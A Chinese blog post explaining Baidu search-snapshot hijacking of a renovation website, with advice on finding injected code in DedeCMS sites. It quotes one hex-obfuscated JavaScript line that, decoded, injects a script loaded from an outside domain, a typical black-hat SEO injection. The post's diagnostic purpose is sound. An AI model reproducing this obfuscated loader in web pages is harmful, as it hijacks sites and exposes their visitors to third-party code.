近段时间朋友装修站经常有些莫名其妙的搜索关键词来到网站,第一感觉就是被人攻击了,但也看不出有什么异样,只是在快照上有显示主域名的标题却是另外的菠菜站。由此初步怀疑是百度快照劫持,首先了解下什么是快照劫持。
百度快照劫持就是黑客通过技术手段拿到你网站FTP权限或者数据库权限植入代码或添加劫持脚本,把他想要的内容写进一个页面代码里,在首页Head标签下调用,当搜索引擎访问你网站的时候抓取到你网站的标题-关键词-描述的时候,就会抓取到黑客设定的任何内容!
一般用site命令查看百度快照情况,如:site:vi586.com
如果看到和你写的标题、描述不一样,就可以判断是黑客对快照进行劫持。了解常见的劫持方法,防患于未然,保障网站安全。
从上面的截图看来中标的不在少数哇,点击“百度快照”查看快照信息,标题、描述、关键词都正常,时间也是较新的。尝试投诉快照,情况依旧,就给百度反应情况,还在等待回复中。
除了找百度解决问题之前,还需要对自己的网站进行查找、修复等操作,以免再次受到攻击。
一 放到<head>标签
网站设计中<head>标签里面有标题、描述、关键词等内容,这部分是明显写上去的,如果是写到生成后的静态首页html文件里,每次更新首页都会消失。但如果不久后又被修改了,就有可能是通过其他木马定时修改的,要注意找出来。
以DedeCMS为例,有些文件夹是禁止执行脚本的,所以能修改你的文件肯定在能执行的文件夹内,如果对文件结构不是很熟悉的,可以和官方的文件夹进行对比就能找出问题所在。
二 伪装JS文件、修改PHP文件
这个我们你一定经历过,比如DedeCMS的版权信息,如果你用{dede:global.cfg_poweby/},后面都会加上自带的织梦链接;下载的模板会在友情链接里面加入模板开发者的友情链接,这些链接是在模板里面看不到的,每次刷新位置都不一样。
需要注意的是,浏览器并不识别JS脚本,如果用JS的方式插入链接,在查看源代码里面是完全看不到具体内容的。其实这个方法也并不高级,常见的如:
<script src="../include/js/jq.js" language="javascript" type="text/javascript"></script>
该js文件里面有类似这样的代码:
var _$=["\x3c\x73\x63\x72\x69\x70\x74\x20\x73\x72\x63\x3d\x68\x74\x74\x70\x3a\/\/\x77\x77\x77\x2e\x77\x7a\x62\x33\x36\x30\x2e\x74\x6b\/\x69\x6d\x61\x67\x65\x2e\x67\x69\x66\x3e\x3c\/\x73\x63\x72\x69\x70\x74\x3e"];
document.writeln(_$[0]);
第一句是通过加密的代码,第二句输出内容,一般服务器做特殊处理,才能输出正确的内容,所以应该还有一些PHP文件。
PHP有许多包含的写法,比如/include文件夹,在核心的PHP文件里面加入劫持代码,神不知鬼不觉。
上面的方法都是比较常见的,一般的CMS有一定的防护能力,只要自己的数据库、服务器密码不泄露,这些都能及时解决。
三 你已经成为黑客的“肉鸡”
“肉鸡”可能很多人不太理解,说白了,服务器、数据库已经被黑客拿到了,或者说获得修改权限。
百度有主动提交(投诉)快照的功能,黑客可以在晚上无人值守的时候偷偷修改模板文件,生成主页后向百度提交URL,然后再回复成原来的样子。
快照劫持总结
黑客通过快照劫持代码能实现百度快照劫持,是黑帽SEO比较早的技术,通过劫持webshell网站,实现自己的网站排名,主要功能是改变webshell网站的快照,使其快照显示为你设置的快照,这个时候对方的网站快照(包括标题,关键字,描述都变成你的)。
代码通过实现快照变成你的,当然排名也变成你的,通过内置的跳转代码,每次通过搜索引擎点进去,网站就会跳转到其他网站。这就是百度快照劫持的原理,以及更高级的301权重劫持手法!